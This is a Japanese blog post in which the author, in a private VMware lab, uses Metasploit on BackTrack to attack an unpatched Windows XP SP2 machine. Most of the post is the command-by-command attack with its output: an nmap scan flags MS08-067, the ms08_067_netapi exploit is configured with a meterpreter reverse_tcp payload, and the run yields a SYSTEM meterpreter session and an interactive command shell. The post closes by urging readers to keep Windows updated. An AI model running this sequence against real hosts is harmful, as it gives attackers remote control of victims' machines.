エクスプロイトの検証

MSFconsoleも問題なく動くようになったので、実際にエクスプロイトをしてみます。
自分の環境はWindows7の端末にVMwarePlayerを使ってBackTrackとWindowsXPsp2を入れています。
こんな感じです。

では早速BackTrackのMSFconsoleをつかってターゲットPCであるWindowsXPに
エクスプロイトをしかけていきます。
このWindowsPCは全くアップデートをせず、またFirewall機能も無効にしていますので
かなり脆弱です。
root@bt:~# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3#
root@bt:/opt/framework3/msf3#
root@bt:/opt/framework3/msf3# msfconsole

msfconsoleが起動したら、NMAPでターゲットPCの脆弱性を調べてみます。
msf > nmap -sT -O --script=smb-check-vulns -P0 192.168.112.110
[*] exec: nmap -sT -O --script=smb-check-vulns -P0 192.168.112.110
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2013-03-09 15:31 JST
Nmap scan report for 192.168.112.110
Host is up (0.00032s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
MAC Address: 00:0C:29:92:5B:24 (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add ‘--script-args=unsafe=1’ to run)
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘--script-args=unsafe=1’ to run)
| MS06-025: CHECK DISABLED (remove ‘safe=1’ argument to run)
|_ MS07-029: CHECK DISABLED (remove ‘safe=1’ argument to run)
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds

-OはOS検出を指定するオプションになります。
NMAPの結果の中で、MS08-067: VULNERABLEがレポートされているのがわかります。
これはこのシステムでエクスプロイトできるチャンスがあることを表しているので、
エクスプロイトさせてもらいましょう!
この脆弱性に使えるエクスプロイトを探します。
msf > search MS08-067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption
exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption

エクスプロイトが見つかったら使えるようにします。
そしていろいろ設定します。

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (AlwaysOn NX)
4 Windows XP SP2 English (NX)
5 Windows XP SP3 English (AlwaysOn NX)
6 Windows XP SP3 English (NX)
7 Windows 2003 SP0 Universal
8 Windows 2003 SP1 English (NO NX)
9 Windows 2003 SP1 English (NX)
10 Windows 2003 SP1 Japanese (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP2 English (NX)
13 Windows 2003 SP2 German (NO NX)
14 Windows 2003 SP2 German (NX)
15 Windows XP SP2 Arabic (NX)
16 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
17 Windows XP SP2 Chinese - Simplified (NX)
18 Windows XP SP2 Chinese - Traditional (NX)
19 Windows XP SP2 Czech (NX)
20 Windows XP SP2 Danish (NX)
21 Windows XP SP2 German (NX)
22 Windows XP SP2 Greek (NX)
23 Windows XP SP2 Spanish (NX)
24 Windows XP SP2 Finnish (NX)
25 Windows XP SP2 French (NX)
26 Windows XP SP2 Hebrew (NX)
27 Windows XP SP2 Hungarian (NX)
28 Windows XP SP2 Italian (NX)
29 Windows XP SP2 Japanese (NX)
30 Windows XP SP2 Korean (NX)
31 Windows XP SP2 Dutch (NX)
32 Windows XP SP2 Norwegian (NX)
33 Windows XP SP2 Polish (NX)
34 Windows XP SP2 Portuguese - Brazilian (NX)
35 Windows XP SP2 Portuguese (NX)
36 Windows XP SP2 Russian (NX)
37 Windows XP SP2 Swedish (NX)
38 Windows XP SP2 Turkish (NX)
39 Windows XP SP3 Arabic (NX)
40 Windows XP SP3 Chinese - Traditional / Taiwan (NX)
41 Windows XP SP3 Chinese - Simplified (NX)
42 Windows XP SP3 Chinese - Traditional (NX)
43 Windows XP SP3 Czech (NX)
44 Windows XP SP3 Danish (NX)
45 Windows XP SP3 German (NX)
46 Windows XP SP3 Greek (NX)
47 Windows XP SP3 Spanish (NX)
48 Windows XP SP3 Finnish (NX)
49 Windows XP SP3 French (NX)
50 Windows XP SP3 Hebrew (NX)
51 Windows XP SP3 Hungarian (NX)
52 Windows XP SP3 Italian (NX)
53 Windows XP SP3 Japanese (NX)
54 Windows XP SP3 Korean (NX)
55 Windows XP SP3 Dutch (NX)
56 Windows XP SP3 Norwegian (NX)
57 Windows XP SP3 Polish (NX)
58 Windows XP SP3 Portuguese - Brazilian (NX)
59 Windows XP SP3 Portuguese (NX)
60 Windows XP SP3 Russian (NX)
61 Windows XP SP3 Swedish (NX)
62 Windows XP SP3 Turkish (NX)
63 Windows 2003 SP2 Japanese (NO NX)
64 Windows 2003 SP1 Spanish (NO NX)
65 Windows 2003 SP1 Spanish (NX)
66 Windows 2003 SP2 Spanish (NO NX)
67 Windows 2003 SP2 Spanish (NX)
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set TARGET 4
TARGET => 4
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set RHOST 192.168.112.110
RHOST => 192.168.112.110
msf exploit(ms08_067_netapi) > set LHOST 192.168.112.128
LHOST => 192.168.112.128
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.112.110 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.112.128 yes The listen address
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
4 Windows XP SP2 English (NX)

ここで設定完了。実際にエクスプロイトを実行する準備が整いました。
msf exploit(ms08_067_netapi) > exploit -j ・・・①
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.112.128:8080
msf exploit(ms08_067_netapi) > [*] Attempting to trigger the vulnerability…
[*] Sending stage (752128 bytes) to 192.168.112.110
[*] Meterpreter session 1 opened (192.168.112.128:8080 -> 192.168.112.110:1105) at 2013-03-09 15:50:09 +0900 ・・・②
msf exploit(ms08_067_netapi) > sessions -l ・・・③
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ ADMIN-752A3B873 192.168.112.128:8080 -> 192.168.112.110:1105 (192.168.112.110)・・・④
msf exploit(ms08_067_netapi) > sessions -i 1 ・・・⑤
[*] Starting interaction with 1…
meterpreter >
meterpreter >
meterpreter > shell ・・・⑥

Process 1556 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

===================================================================================================
①exploitコマンドがターゲットへのエクスプロイトを起動し、攻撃を試みる。
②攻撃が成功したためreverse_tcp Meterpreterペイロードが返される。
③ペイロードをみることができる。
④アクティブなセッションが1つだけだということが分かる。
⑤個々のセッションと「やり取り」するためのコマンド。
このコマンドによってMeterpeterシェルに移行する。
リバースコマンドシェルが存在する場合、上記のコマンドによってコマンドプロンプトへの直接する。
⑥shell入力して、ターゲットホストのインタラクティブなコマンドシェルへと移行する。
===================================================================================================
ということで、無事にエクスプロイトができました。
この検証でWindows Updateの重要性がよくわかりました。
新たなエクスプロイトは四六時中、昼夜を問わずに開発されていて常にリストは増えていて、
MSFconsoleから簡単に更新ファイルがダウンロードできますので、
比較的簡単にエクスプロイトができるようです。
Windows Updateを怠っている人は気を付けてください。
以上

関連する投稿:

コメントを残す

メールアドレスが公開されることはありません。

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください